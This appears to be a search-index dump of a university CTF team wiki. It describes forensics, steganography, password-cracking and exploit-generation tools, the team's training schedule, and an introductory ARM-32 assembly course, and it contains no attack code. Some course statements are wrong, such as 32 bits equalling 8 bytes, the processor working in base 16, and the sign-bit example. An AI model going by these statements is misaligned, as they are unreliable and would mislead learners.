"},{"location":"Tool/Forensics/Tracewrangler/#abstract","title":"Abstract","text":"TraceWrangler is a network capture file toolkit running on Windows (or on Linux, using WINE) that supports PCAP as well as the new PCAPng file format, which is now the standard file format used by Wireshark. The most prominent use case for TraceWrangler is the easy sanitization and anonymization of PCAP and PCAPng files (sometimes called \"trace files\", \"capture files\" or \"packet captures\"), removing or replacing sensitive data while being easy to use.
"},{"location":"Tool/Forensics/Tracewrangler/#link","title":"Link","text":"Official link: https://www.tracewrangler.com/
"},{"location":"Tool/Forensics/Wireshark/","title":"Wireshark","text":"Network traffic sniffer.
"},{"location":"Tool/Forensics/Wireshark/#abstract","title":"Abstract","text":"Wireshark is the world\u2019s foremost and widely-used network protocol analyzer. It lets you see what\u2019s happening on your network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit enterprises, government agencies, and educational institutions. Wireshark development thrives thanks to the volunteer contributions of networking experts around the globe and is the continuation of a project started by Gerald Combs in 1998.
"},{"location":"Tool/Forensics/Wireshark/#link","title":"Link","text":"Official website: https://www.wireshark.org/
"},{"location":"Tool/Forensics/exiftool/","title":"ExifTool","text":"Meta data forensics.
"},{"location":"Tool/Forensics/exiftool/#abstract","title":"Abstract","text":"ExifTool is a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, Lyrics3, as well as the maker notes of many digital cameras by Canon, Casio, DJI, FLIR, FujiFilm, GE, GoPro, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Motorola, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.
"},{"location":"Tool/Forensics/exiftool/#link","title":"Link","text":"Official link: https://exiftool.org/
"},{"location":"Tool/Forensics/foremost/","title":"foremost","text":"Combined file forensics.
"},{"location":"Tool/Forensics/foremost/#abstract","title":"Abstract","text":"Foremost is a forensic program to recover lost files based on their headers, footers, and internal data structures.
Foremost can work on image files, such as those generated by dd, Safeback, Encase, etc, or directly on a drive. The headers and footers can be specified by a configuration file or you can use command line switches to specify built-in file types. These built-in types look at the data structures of a given file format allowing for a more reliable and faster recovery.
"},{"location":"Tool/Forensics/foremost/#link","title":"Link","text":"Kali foremost description: https://www.kali.org/tools/foremost/
Download link: https://sourceforge.net/projects/foremost/
"},{"location":"Tool/Forensics/stegosaurus/","title":"stegosaurus","text":"A steganography tool. Used when you can't find any other choices.
"},{"location":"Tool/Forensics/stegosaurus/#abstract","title":"Abstract","text":"Stegosaurus is a steganography tool that allows embedding arbitrary payloads in Python bytecode (pyc or pyo) files. The embedding process does not alter the runtime behavior or file size of the carrier file and typically results in a low encoding density. The payload is dispersed throughout the bytecode so tools like strings
will not show the actual payload. Python's dis
module will return the same results for bytecode before and after Stegosaurus is used to embed a payload. At this time, no prior work or detection methods are known for this type of payload delivery.
GitHub repo: https://github.com/AngelKitty/stegosaurus
"},{"location":"Tool/Forensics/stegsolve/","title":"stegsolve","text":"Image forensics tool.
"},{"location":"Tool/Forensics/stegsolve/#install","title":"Install","text":"#!/bin/bash -ex\n\nwget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar\nchmod +x stegsolve.jar\nmkdir bin\nmv stegsolve.jar bin/\n
Download jar file: http://www.caesum.com/handbook/Stegsolve.jar
"},{"location":"Tool/Forensics/volatility/","title":"volatility","text":"Memory forensics tool.
"},{"location":"Tool/Forensics/volatility/#abstract","title":"Abstract","text":"The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) samples. The extraction techniques are performed completely independent of the system being investigated but offer visibilty into the runtime state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples and provide a platform for further work into this exciting area of research.
"},{"location":"Tool/Forensics/volatility/#link","title":"Link","text":"GitHub repo: https://github.com/volatilityfoundation/volatility
volatility3: https://github.com/volatilityfoundation/volatility3
"},{"location":"Tool/Forensics/zsteg/","title":"zsteg","text":"PNG / BMP file forensics tool.
"},{"location":"Tool/Forensics/zsteg/#link","title":"Link","text":"GitHub repo: https://github.com/zed-0xff/zsteg
"},{"location":"Tool/Miscellaneous/AZPR/","title":"Advanced ZIP Password Recovery","text":"Break zip password if you don't want to use John the Ripper.
The software isn't free.
"},{"location":"Tool/Miscellaneous/AZPR/#abstract","title":"Abstract","text":"Advanced ZIP Password Recovery (or AZPR) is a program to recover lost or forgotten passwords to ZIP archives (compressed files) created in programs like WinZip, PKZip etc.
"},{"location":"Tool/Miscellaneous/AZPR/#link","title":"Link","text":"Official: https://www.elcomsoft.com/help/en/azpr/
"},{"location":"Tool/Miscellaneous/Velato/","title":"Velato","text":"Music programming language.
"},{"location":"Tool/Miscellaneous/Velato/#abstract","title":"Abstract","text":"Velato is a programming language, created by Daniel Temkin in 2009, which uses MIDI files as source code: the pattern of notes determines commands. Velato offers an unusual challenge to programmer-musicians: to compose a musical piece that, in addition to expressing their aims musically, fills the constraints necessary to compile to a working Velato program. Each song has a secret message: the program it determines when compiled as Velato.
"},{"location":"Tool/Miscellaneous/Velato/#link","title":"Link","text":"Official document: http://velato.net/
Download compiler: http://velato.net/Content/Velato/Velato_0_1.zip
"},{"location":"Tool/Miscellaneous/bochs/","title":"Bochs","text":"Used in a floppy disk challenge.
Open floppy disk image with bochs.
"},{"location":"Tool/Miscellaneous/bochs/#abstract","title":"Abstract","text":"Bochs is a highly portable open source IA-32 (x86) PC emulator written in C++, that runs on most popular platforms. It includes emulation of the Intel x86 CPU, common I/O devices, and a custom BIOS. Bochs can be compiled to emulate many different x86 CPUs, from early 386 to the most recent x86-64 Intel and AMD processors which may even not reached the market yet. Bochs is capable of running most Operating Systems inside the emulation including Linux, DOS or Microsoft Windows. Bochs was originally written by Kevin Lawton and is currently maintained by this project. Bochs can be compiled and used in a variety of modes, some which are still in development. The 'typical' use of bochs is to provide complete x86 PC emulation, including the x86 processor, hardware devices, and memory. This allows you to run OS's and software within the emulator on your workstation, much like you have a machine inside of a machine. For instance, let's say your workstation is a Unix/X11 workstation, but you want to run Win'95 applications. Bochs will allow you to run Win 95 and associated software on your Unix/X11 workstation, displaying a window on your workstation, simulating a monitor on a PC.
"},{"location":"Tool/Miscellaneous/bochs/#official-link","title":"Official Link","text":"Website: https://bochs.sourceforge.io/
Download: https://sourceforge.net/projects/bochs/files/bochs/
"},{"location":"Tool/Miscellaneous/john/","title":"John The Ripper (jumbo)","text":"Used in various password cracking.
"},{"location":"Tool/Miscellaneous/john/#abstract","title":"Abstract","text":"John the Ripper is free and Open Source software, distributed primarily in source code form. If you would rather use a commercial product, please consider John the Ripper Pro, which is distributed primarily in the form of \"native\" packages for the target operating systems and in general is meant to be easier to install and use while delivering optimal performance.
"},{"location":"Tool/Miscellaneous/john/#link","title":"Link","text":"Official website: https://www.openwall.com/john/
John (jumbo): https://github.com/openwall/john
The download depends on the system you are using.
"},{"location":"Tool/Miscellaneous/qemu/","title":"qemu","text":"Useful when using some DOS thing.
A DOS emulator.
"},{"location":"Tool/Miscellaneous/qemu/#abstract","title":"Abstract","text":""},{"location":"Tool/Miscellaneous/qemu/#link","title":"Link","text":"Official website: https://www.qemu.org/download/#windows
Download: https://qemu.weilnetz.de/w64/
"},{"location":"Tool/PWN/PEiD/","title":"PEiD","text":""},{"location":"Tool/PWN/PEiD/#description","title":"Description","text":".\n\u251c\u2500\u2500 external.txt\n\u251c\u2500\u2500 PEiD.exe\n\u251c\u2500\u2500 plugins\n\u2502 \u251c\u2500\u2500 GenOEP.dll\n\u2502 \u251c\u2500\u2500 ImpREC.dll\n\u2502 \u251c\u2500\u2500 kanal.dll\n\u2502 \u251c\u2500\u2500 kanal.htm\n\u2502 \u2514\u2500\u2500 ZDRx.dll\n\u251c\u2500\u2500 pluginsdk\n\u2502 \u251c\u2500\u2500 C++\n\u2502 \u2502 \u251c\u2500\u2500 defs.h\n\u2502 \u2502 \u2514\u2500\u2500 null.c\n\u2502 \u251c\u2500\u2500 Delphi\n\u2502 \u2502 \u2514\u2500\u2500 Sample.dpr\n\u2502 \u251c\u2500\u2500 MASM\n\u2502 \u2502 \u251c\u2500\u2500 compile.bat\n\u2502 \u2502 \u251c\u2500\u2500 masm_plugin.asm\n\u2502 \u2502 \u2514\u2500\u2500 masm_plugin.def\n\u2502 \u251c\u2500\u2500 PowerBASIC\n\u2502 \u2502 \u2514\u2500\u2500 PEiD_Plugin.bas\n\u2502 \u2514\u2500\u2500 readme.txt\n\u251c\u2500\u2500 readme.txt\n\u2514\u2500\u2500 userdb.txt\n
"},{"location":"Tool/PWN/PEiD/#signatures","title":"Signatures","text":"Update your signatures (initial file is empty). Replace the initial userdb.txt file with one of these files:
In some cases, PEiD can find the Original Entry Point (OEP) of a packed executable:
"},{"location":"Tool/PWN/PEiD/#krypto-analyzer","title":"Krypto Analyzer","text":""},{"location":"Tool/PWN/WinDbg/","title":"WinDbg","text":"The Windows Debugger (WinDbg) can be used to debug kernel-mode and user-mode code, analyze crash dumps, and examine the CPU registers while the code executes.
To get started with Windows debugging, see Getting Started with Windows Debugging.
"},{"location":"Tool/PWN/WinDbg/#download-windbg-preview","title":"Download WinDbg Preview","text":"WinDbg Preview is a new version of WinDbg with more modern visuals, faster windows, and a full-fledged scripting experience. It is built with the extensible object-orientated debugger data model front and center. WinDbg Preview is using the same underlying engine as WinDbg today, so all the commands, extensions, and workflows still work as they did before.
Get Debugging Tools for Windows (WinDbg) from the SDK: Windows 10 SDK. Use the download link on the Windows 10 SDK page, as the Debugging Tools for Windows are not available as part of Visual Studio.
If you just need the Debugging Tools for Windows, and not the Windows Driver Kit (WDK) for Windows 10, you can install the debugging tools as a standalone component from the Windows Software Development Kit (SDK).
In the SDK installation wizard, select Debugging Tools for Windows, and deselect all other components.
"},{"location":"Tool/PWN/WinDbg/#adding-the-debugging-tools-for-windows-if-the-sdk-is-already-installed","title":"Adding the Debugging Tools for Windows if the SDK is already installed","text":"If the Windows SDK is already installed, open Settings, navigate to Apps & features, select Windows Software Development Kit, and then select Modify to change the installation to add Debugging Tools for Windows.
"},{"location":"Tool/PWN/WinDbg/#looking-for-the-debugging-tools-for-earlier-versions-of-windows","title":"Looking for the debugging tools for earlier versions of Windows?","text":"To download the debugger tools for previous versions of Windows, you need to download the Windows SDK for the version you are debugging from the Windows SDK and emulator archive. In the installation wizard of the SDK, select Debugging Tools for Windows, and deselect all other components.
"},{"location":"Tool/PWN/WinDbg/#learn-more-about-the-debuggers","title":"Learn more about the debuggers","text":"Learn more about WinDbg and other debuggers in Debugging Tools for Windows (WinDbg, KD, CDB, NTSD).
"},{"location":"Tool/PWN/WinHex/","title":"WinHex: Computer Forensics & Data Recovery Software, Hex Editor & Disk Editor","text":"WinHex is in its core a universal hexadecimal editor, particularly helpful in the realm of computer forensics, data recovery, low-level data processing, and IT security. An advanced tool for everyday and emergency use: inspect and edit all kinds of files, recover deleted files or lost data from hard drives with corrupt file systems or from digital camera cards. Features depend on the license type (license type comparison), among them:
Having all the bits and bytes in a computer at your fingertips has become a reality. Try before you buy. Computer forensics edition of WinHex with even more features: X-Ways Forensics.
"},{"location":"Tool/PWN/Zeratool/","title":"Zeratool","text":"Automate exploit generate tool.
"},{"location":"Tool/PWN/Zeratool/#abstract","title":"Abstract","text":"Automatic Exploit Generation (AEG) and remote flag capture for exploitable CTF problems
This tool uses angr to concolically analyze binaries by hooking printf and looking for unconstrained paths. These program states are then weaponized for remote code execution through pwntools and a series of script tricks. Finally the payload is tested locally then submitted to a remote CTF server to recover the flag.
"},{"location":"Tool/PWN/Zeratool/#link","title":"Link","text":"GitHub repo: https://github.com/ChrisTheCoolHut/Zeratool
"},{"location":"Tool/PWN/x64dbg/","title":"x64dbg","text":"An open-source x64/x32 debugger for windows.
Check out the blog!
"},{"location":"Tool/PWN/x64dbg/#features","title":"Features","text":"https://github.com/x64dbg/x64dbg/wiki
"},{"location":"Tool/Reverse%20Engineering/Bytecode%20Viewer/","title":"Bytecode Viewer","text":"Bytecode Viewer - a lightweight user-friendly Java/Android Bytecode Viewer, Decompiler & More.
"},{"location":"Tool/Reverse%20Engineering/Bytecode%20Viewer/#new-features","title":"New Features","text":"https://bytecodeviewer.com/
https://github.com/Konloch/bytecode-viewer
"},{"location":"Tool/Reverse%20Engineering/DiE/","title":"Detect it Easy (DiE)","text":"Detect It Easy, or abbreviated \"DIE\" is a program for determining types of files.
\"DIE\" is a cross-platform application, apart from Windows version there are also available versions for Linux and Mac OS.
Many programs of the kind (PEID, PE tools) allow to use third-party signatures. Unfortunately, those signatures scan only bytes by the pre-set mask, and it is not possible to specify additional parameters. As the result, false triggering often occur. More complicated algorithms are usually strictly set in the program itself. Hence, to add a new complex detect one needs to recompile the entire project. No one, except the authors themselves, can change the algorithm of a detect. As time passes, such programs lose relevance without the constant support.
Detect It Easy has totally open architecture of signatures. You can easily add your own algorithms of detects or modify those that already exist. This is achieved by using scripts. The script language is very similar to JavaScript and any person, who understands the basics of programming, will understand easily how it works. Possibly, someone may decide the scripts are working very slow. Indeed, scripts run slower than compiled code, but, thanks to the good optimization of Script Engine, this doesn't cause any special inconvenience. The possibilities of open architecture compensate these limitations.
DIE exists in three versions. Basic version (\"DIE\"), Lite version (\"DIEL\") and console version (\"DIEC\"). All the three use the same signatures, which are located in the folder \"db\". If you open this folder, nested sub-folders will be found (\"Binary\", \"PE\" and others). The names of sub-folders correspond to the types of files. First, DIE determines the type of file, and then sequentially loads all the signatures, which lie in the corresponding folder. Currently the program defines the following types:
Download: https://github.com/horsicq/DIE-engine/releases
Changelog: https://github.com/horsicq/Detect-It-Easy/blob/master/changelog.txt
"},{"location":"Tool/Reverse%20Engineering/DiE/#screenshot","title":"Screenshot","text":""},{"location":"Tool/Reverse%20Engineering/DiE/#homepage","title":"Homepage","text":"https://github.com/horsicq/Detect-It-Easy
"},{"location":"Tool/Reverse%20Engineering/ExeInfoPE/","title":"ExeInfoPE","text":"Packer, compressor detector / unpack info / internal exe tools
Detect : Symbian / Android / Linux / Mac OS - files
PUP / PUA Applications & Downloaders
Archives : .zip , .rar , .zlb , .gz , .7 zip , .tar , .cab .is , ...
"},{"location":"Tool/Reverse%20Engineering/ExeInfoPE/#screenshot","title":"Screenshot","text":""},{"location":"Tool/Reverse%20Engineering/ExeInfoPE/#homepage","title":"Homepage","text":"http://exeinfo.booomhost.com/
"},{"location":"Tool/Reverse%20Engineering/IDA/","title":"IDA","text":"The best-of-breed binary code analysis tool, an indispensable item in the toolbox of world-class software analysts, reverse engineers, malware analyst and cybersecurity professionals.
"},{"location":"Tool/Reverse%20Engineering/IDA/#a-powerful-disassembler-and-a-versatile-debugger","title":"A powerful disassembler and a versatile debugger","text":"IDA Pro as a disassembler is capable of creating maps of their execution to show the binary instructions that are actually executed by the processor in a symbolic representation (assembly language). Advanced techniques have been implemented into IDA Pro so that it can generate assembly language source code from machine-executable code and make this complex code more human-readable.
The debugging feature augmented IDA with the dynamic analysis. It supports multiple debugging targets and can handle remote applications. Its cross-platform debugging capability enables instant debugging, easy connection to both local and remote processes and support for 64-bit systems and new connection possibilities.
"},{"location":"Training/Varsity%20Competition%20Training%20Model/","title":"Varsity Competition Training Model","text":""},{"location":"Training/Varsity%20Competition%20Training%20Model/#the-latest-training-schedule","title":"The Latest Training Schedule","text":"View the training schedule on our wiki page: 2023 Spring Schedule.
"},{"location":"Training/Varsity%20Competition%20Training%20Model/#overview","title":"Overview","text":"Varsity training is usually online + offline, usually at a fixed location and time. The goal of the training is to promote new members and to coach current varsity members to become proficient in a particular area. Training content may vary from school year to school year, depending on the schedule and staffing changes for that school year.
"},{"location":"Training/Varsity%20Competition%20Training%20Model/#training-format","title":"Training Format","text":"The training format for Spring 2022 was influenced by COVID-19, which had been in an online self-study mode for a long time, and was partially adjusted when members returned to school.
Training is usually held every Sunday morning and afternoon for separate objectives. The morning training is geared towards new members and is basic knowledge and practical training, while the afternoon is geared towards current varsity members and is advanced content and domain proficiency training.
Adjustment Note: Most competitions will be held on Sundays, and the mindset on Sundays will also generally be better than on Saturdays, so it was adjusted to Sunday for offline training.
Basic knowledge and practical training.
The training is in the form of lecture + salon, which advocates communication during the training. The process will start with lecture sharing of training contents and providing reading materials. After the lecture, the materials will be read first, and the time will be rotated to summarize and conclude the content of the materials and share the materials they read to other members from the perspective of the pedagogue.
Advanced content and domain proficiency training.
The training is in the form of practice + salon. Before the training, the training questions will be collected and completed through the weekly question summary, and you need to complete the weekly question practice before the training. First, a summary of the solutions to the training questions and a lecture on the necessary knowledge will be conducted. For unintended solutions and multiple solutions, multiple solutions will also be used to share. The training time is then used to solve the questions on the spot, and after the solution, the member who completed the question will share in the salon.
"},{"location":"Training/Varsity%20Competition%20Training%20Model/#training-questions","title":"Training Questions","text":"Each week's training will be followed by the release of the following week's practice questions, along with an open submission channel.
The training questions will be selected from each field with some exercises with a difficulty gradient of.
2 sign-ups + 2 normal + 1 difficult, with a total of 5 questions per domain.
Members who choose multiple areas can choose any area to answer, and after completing this area, they can continue to complete other areas of questions.
The areas that will be subject to topic selection are.
Miscellaneous (Misc), Web (Web), Cryptography (Crypto), Binary (PWN), Reverse (RE).
"},{"location":"Training/Varsity%20Competition%20Training%20Model/#member-support","title":"Member Support","text":"The training of the varsity team will also use the old-led model for mentoring and helping new members.
Based on the collected directions of the current members of the varsity team, the current members of the varsity team who are responsible for mentoring the new members will be set.
In the mentoring, the active members can recommend new members to join their own team based on their activity and knowledge base, and increase the matching score (20) in the team entry assessment.
"},{"location":"Training/Varsity%20Competition%20Training%20Model/#suggestions-feedback","title":"Suggestions Feedback","text":"Any valuable suggestions on the training process can be sent to
liz33#mail.sustech.edu.cn
Valuable suggestions are also welcome.
"},{"location":"Training/Material/ARM32_1/","title":"ARM-32 Course 1","text":"https://github.com/mytechnotalent/Reverse-Engineering
by Kevin Thomas
"},{"location":"Training/Material/ARM32_1/#part-1-the-meaning-of-life","title":"Part 1 \u2013 The Meaning Of Life","text":"\u201cSo if I go to college and learn Python or Java will I make a million dollars and have nice things?\u201d
I felt it necessary to start out this tutorial series with such a statement. This is NOT an attack on Python or Java as in a prior life I worked with Java primarily in Android Development and currently use Python in my professional environment. In today\u2019s Agile environment, rapid-development is reality. With the increased challenges in both the commercial market and the government sector, software development will continue to focus on more robust libraries that will do more with less.
As a Senior Software Engineer in Test, I try to help as many people as possible bridge their skill-set with either an entry-point or career advancement into the job market. One thing that is critical to understand is that there is and will continue to be a dramatic shortage of engineers and developers of all shapes and sizes.
Like it or not, hardware is getting smaller and smaller and the trend is going from CISC to RISC. A CISC is your typical x86 computer with a complex series of instructions. CISC computers will always exist however with the trend going toward cloud computing and the fact that RISC machines with a reduced instruction set are so enormously powerful today, they are the obvious choice for consumption.
How many cell phones do you think exist on earth today? Most of them are RISC machines. How many of you have a Smart TV or Amazon Echo or any number of devices considered part of the IoT or Internet Of Things? Each of these devices have one thing in common \u2013 they are RISC and all are primarily ARM based.
ARM is an advanced RISC machine. Compared to the very complex architecture of a CISC, most ARM systems today are what is referred to as a SoC or system on chip which is an integrated circuit which has all of the components of a computer and electronic system on a single chip. This includes RF functionality as well. These low-power embedded devices can run versions of Windows, Linux and many other advanced operating systems.
\u201cWell who cares about ARM, you can call it anything you want, I know Python or Java and that\u2019s all I need to know cause when I program it works everywhere so I don\u2019t have to worry about anything under the hood.\u201d
I again just want you to reflect on the above statement for a brief moment. As every day continues to pass, more and more systems are becoming vulnerable to attack and compromise. Taking the time to understand what is going on under the hood can only help to curb this unfortunate reality.
This series will focus on ARM Assembly. We will work with a Raspberry Pi 3 which contains the Broadcom BCM2837 SoC with a 4x ARM Cortex-A53, 1.2GHz CPU and 1 GB LPDDR2 RAM. We will work with the Raspbian Jessie, Linux-based operating system. If you don\u2019t own a Raspberry Pi 3, they are usually available for $35 on Amazon or any number of retailers. If you would like to learn more visit https://www.raspberrypi.org.
We will work solely in the terminal so no pretty pictures and graphics as we are keeping it to the hardcore bare-bones utilizing the GNU toolkit to compile and debug our code base.
UNDER NO CONDITIONS ARE YOU TO EVER USE THIS EDUCATION TO CAUSE HARM TO ANY SYSTEM OF ANY KIND AS I AM NOT RESPONSIBLE! THIS IS FOR LEARNING PURPOSES ONLY!
"},{"location":"Training/Material/ARM32_1/#part-2-number-systems","title":"Part 2 \u2013 Number Systems","text":"At the core of the microprocessor are a series of binary numbers which are either +5V (on or 1) or 0V (off or 0). Each 0 or 1 represents a bit of information within the microprocessor. A combination of 8 bits results in a single byte.
Before we dive into binary, lets examine the familiar decimal. If we take the number 2017, we would understand this to be two thousand and seventeen.
Value 1000s 100s 10s 1s\n\nRepresentation 10^3 10^2 10^1 10^0\n\nDigit 2 0 1 7\n
Let\u2019s take a look at the binary system and the basics of how it operates.
Bit Number b7 b6 b5 b4 b3 b2 b1 b0\n\nRepresentation 2^7 2^6 2^5 2^4 2^3 2^2 2^1 2^0\n\nDecimal Weight 128 64 32 16 8 4 2 1\n
If we were to convert a binary number into decimal, we would very simply do the following. Lets take a binary number of 0101 1101 and as you can see it is 93 decimal.
Bit Weight Value\n\n0 128 0\n\n1 64 64\n\n0 32 0\n\n1 16 16\n\n1 8 8\n\n1 4 4\n\n0 2 0\n\n1 1 1\n
Adding the values in the value column gives us 0 + 64 + 0 + 16 + 8 + 4 + 0 + 1 = 93 decimal.
If we were to convert a decimal number into binary, we would check to see if a subtraction is possible relative to the highest order bit and if so, a 1 would be placed into the binary column to which the remainder would be carried into the next row. Let\u2019s consider the example of the decimal value of 120 which is 0111 1000 binary.
128 64 32 16 8 4 2 1\n\n0 1 1 1 1 0 0 0\n
1)Can 128 fit inside of 120: No, therefore 0.
2)Can 64 fit inside of 120: Yes, therefore 1, then 120 \u2013 64 = 56.
3)Can 32 fit inside of 56: Yes, therefore 1, then 56 \u2013 32 = 24.
4)Can 16 fit inside of 24: Yes, therefore 1, then 24 \u2013 16 = 8.
5)Can 8 fit inside of 8: Yes, therefore 1, then 8 \u2013 8 = 0.
6)Can 4 fit inside of 0: No, therefore 0.
7)Can 2 fit inside of 0: No, therefore 0.
8)Can 1 fit inside of 0: No, therefore 0.
When we want to convert binary to hex we simply work with the following table.
Decimal Hex Binary\n\n0 0 0000\n\n1 1 0001\n\n2 2 0010\n\n3 3 0011\n\n4 4 0100\n\n5 5 0101\n\n6 6 0110\n\n7 7 0111\n\n8 8 1000\n\n9 9 1001\n\n10 A 1010\n\n11 B 1011\n\n12 C 1100\n\n13 D 1101\n\n14 E 1110\n\n15 F 1111\n
Lets convert a binary number such as 0101 1111 to hex. To do this we very simply look at the table and compare each nibble which is a combination of 4 bits. Keep in mind, 8 bits is equal to a byte and 2 nibbles are equal to a byte.
0101 = 5\n\n1111 = F\n
Therefore 0101 1111 binary = 0x5f hex. The 0x notation denotes hex.
To go from hex to binary it\u2019s very simple as you have to simply do the opposite such as:
0x3a = 0011 1010\n\n\n3 = 0011\n\nA = 1010\n
It is important to understand that each hex digit is a nibble in length therefore two hex digits are a byte in length.
To convert from hex to decimal we do the following:
0x5f = 95\n\n\n5 = 5 x 16^1 = 5 x 16 = 80\n\nF = 15 x 16^0 = 15 x 1 = 15\n
Therefore we can see that 80 + 15 = 95 which is 0x5f hex.
Finally to convert from decimal to hex. Lets take the number 850 decimal which is 352 hex.
Division Result(No Remainder) Remainder Remainder Multiplication\n\n850 / 16 53 0.125 0.125 x 16 = 2\n\n53 / 16 3 0.3125 0.3125 x 16 = 5\n\n3 / 16 0 0.1875 0.1875 x 16 = 3\n
We put the numbers together from bottom to the top and we get 352 hex.
\u201cWhy the hell would I waste my time learning all this crap when the computer does all this for me!\u201d
If you happen to know any reverse engineers please if you would take a moment and ask them the above question.
The reality is, if you do NOT have a very firm understanding of how all of the above works, you will NEVER get a grasp on how the ARM processor registers hold and manipulate data. You will NEVER get a grasp on how the ARM processor deals with a binary overflow and it\u2019s effect on how carry operations work nor will you understand how compare operations work or even the most basic operations of the most simple assembly code.
I am not suggesting you memorize the above, nor am I suggesting that you do a thousand examples of each. All I ask is that you take the time to really understand that literally everything and I mean everything goes down to binary bits in the processor.
Whether you are creating, debugging or hacking an Assembly, Python, Java, C, C++, R, JavaScript, or any other new language application that hits the street, ultimately everything MUST go down to binary 0 and 1 to which represent a +5V or 0V.
We as humans operate on the base 10 decimal system. The processor works on a base 16 (hex) system. The registers we are dealing with in conjunction with Linux are addressed in 32-bit sizes. When we begin discussion of the processor registers, we will learn that each are 32-bits wide (technically the BCM2837 are 64-bit wide however our version of Linux that we are working with is 32-bit therefore we only address 32-bits of each register).
"},{"location":"Training/Material/ARM32_1/#part-3-binary-addition","title":"Part 3 \u2013 Binary Addition","text":"Binary addition can occur in one of four different fashions:
0 + 0 = 0\n\n1 + 0 = 1\n\n0 + 1 = 1\n\n1 + 1 = 0 (1) [One Plus One Equals Zero, Carry One]\n
Keep in mind the (1) means a carry bit. It very simply means an overflow.
Lets take the following 4-bit nibble example:
0111\n\n+ 0100\n\n= 1011\n
We see an obvious carry in the 3rd bit. If the 8th bit had a carry then this would generate a carry flag within the CPU.
Let\u2019s examine an 8-bit number:
01110000\n\n+ 01010101\n\n= 11000101\n
If we had:
11110000\n\n+ 11010101\n\n= (1)11000101\n
Here we see a carry bit which would trigger the carry flag within the CPU to be 1 or true. We will discuss the carry flag in later tutorials. Please just keep in mind this example to reference as it is very important to understand.
"},{"location":"Training/Material/ARM32_1/#part-4-binary-subtraction","title":"Part 4 \u2013 Binary Subtraction","text":"Binary subtraction is nothing more than adding the negative value of the number to be subtracted. For example 8 + - 4, the starting point would be zero to which we move 8 points in the positive direction and then four points in the negative direction yielding a value of 4.
We represent a sign bit in binary to which bit 7 indicates the sign of number where 0 is positive and 1 is negative.
Sign Bit 7 Bits 0 \u2013 6\n\n1 0000011\n
The above would represent -2.
We utilize the concept of twos compliment which inverts each bit and then finally adding 1.
Lets example binary 2.
00000010\n
Invert the bits.
11111101\n
Add 1.
11111101\n\n+ 00000001\n\n 11111110\n
Let\u2019s examine a subtraction operation:
00000100 4 decimal\n\n + 11111110 -2 decimal\n\n(1)00000010 2 decimal\n
So what is the (1) you may ask, that is the overflow bit. In future tutorials we will examine what we refer to as the overflow flag and carry flag.
"},{"location":"Training/Material/ARM32_1/#part-5-word-lengths","title":"Part 5 \u2013 Word Lengths","text":"The system on chip we are working with has a 32-bit ARM CPU. 32-bits is actually 4 bytes of information which make up a word.
If you remember my prior tutorial on x86 Assembly, a word was 16-bits. Every different architecture defines a word differently.
The most significant bit of a word for our ARM CPU is located at bit 31 therefore a carry is generated if an overflow occurs there.
The lowest address in our architecture starts at 0x00000000 and goes to 0xFFFFFFFF. The processor sees memory in word blocks therefore every 4 bytes. A memory address associated with the start of a word is referred to as a word boundary and is divisible by 4. For example here is our first word:
0x00000000\n\n0x00000004\n\n0x00000008\n\n0x0000000C\n
So why is this important? There is the concept of fetching and executing to which the processor deals with instructions to which it must work in this fashion for proper execution.
Before we dive into coding assembly it is critical that you understand some basics of how the CPU operates. There will be a number of more lectures going over the framework so I appreciate everyone hanging in there!
"},{"location":"Training/Material/ARM32_1/#part-6-registers","title":"Part 6 \u2013 Registers","text":"Our ARM microprocessor has internal storage which make any operation must faster as there is no external memory access needed. There are two modes, User and Thumb. We will be focusing on User Mode as we are ultimately focused on developing for a system on chip within a Linux OS rather than bare-metal programming which would be better suited on a microcontroller device.
In User Mode we have 16 registers and a CPSR register to which have a word length each which is 32-bits each or 8 bytes each.
Registers R0 to R12 are multi-purpose registers to which R13 \u2013 R15 have a unique purpose as well as the CPSR. Lets take a look at a simple table to illustrate.
R0 GPR (General-Purpose Register)\n\nR1 GPR (General-Purpose Register)\n\nR2 GPR (General-Purpose Register)\n\nR3 GPR (General-Purpose Register)\n\nR4 GPR (General-Purpose Register)\n\nR5 GPR (General-Purpose Register)\n\nR6 GPR (General-Purpose Register)\n\nR7 GPR (General-Purpose Register)\n\nR8 GPR (General-Purpose Register)\n\nR9 GPR (General-Purpose Register)\n\nR10 GPR (General-Purpose Register)\n\nR11 GPR (General-Purpose Register)\n\nR12 GPR (General-Purpose Register)\n\nR13 Stack Pointer\n\nR14 Link Register\n\nR15 Program Counter\n\nCPSR Current Program Status Register\n
It is critical that we understand registers in a very detailed way. At this point we understand R0 \u2013 R12 are general purpose and will be used to manipulate data as we build our programs and additionally when you are hacking apart or reverse engineering binaries from a hex dump on a cell phone or other ARM device, no matter what high-level language it is written in, it must ultimately come down to assembly which you need to understand registers and how they work to grasp and understand of any such aforementioned operation.
The chip we are working with is known as a load and store machine. This means we load a register with the contents of a register or memory location and we can store a register with the contents of a memory or register location. For example:
ldr, r4, [r10] @ \n load r4 with the contents of r10, if r10 had the decimal value of \n say 22, 22 would go to r4\n\nstr, r9, [r4] @ \n store r9 contents into location in r4, if r9 had 0x02 hex, \n 0x02 would be stored into location r4\n
The @ simply indicates to the compiler that what follows it on a given line is a comment and to be ignored.
The next few weeks we will take our time and look at each of the special purpose registers so you have a great understanding of what they do.
"},{"location":"Training/Material/ARM32_1/#part-7-program-counter","title":"Part 7 - Program Counter","text":"We will dive into the registers over the coming weeks to make sure you obtain a firm understand of their role and what they can do.
We begin with the PC or program counter. The program counter is responsible for directing the CPU to what instruction will be executed next. The PC literally holds the address of the instruction to be fetched next.
When coding you can refer to the PC as PC or R15 as register 15 is the program counter. You MUST treat it with care as you can set it wrong and crash the executable quite easily.
You can control the PC directly in code:
mov r15, 0x00000000
I would not suggest trying that as we are not in Thumb mode and that will cause a fault as you would be going to an OS area rather than designated program area.
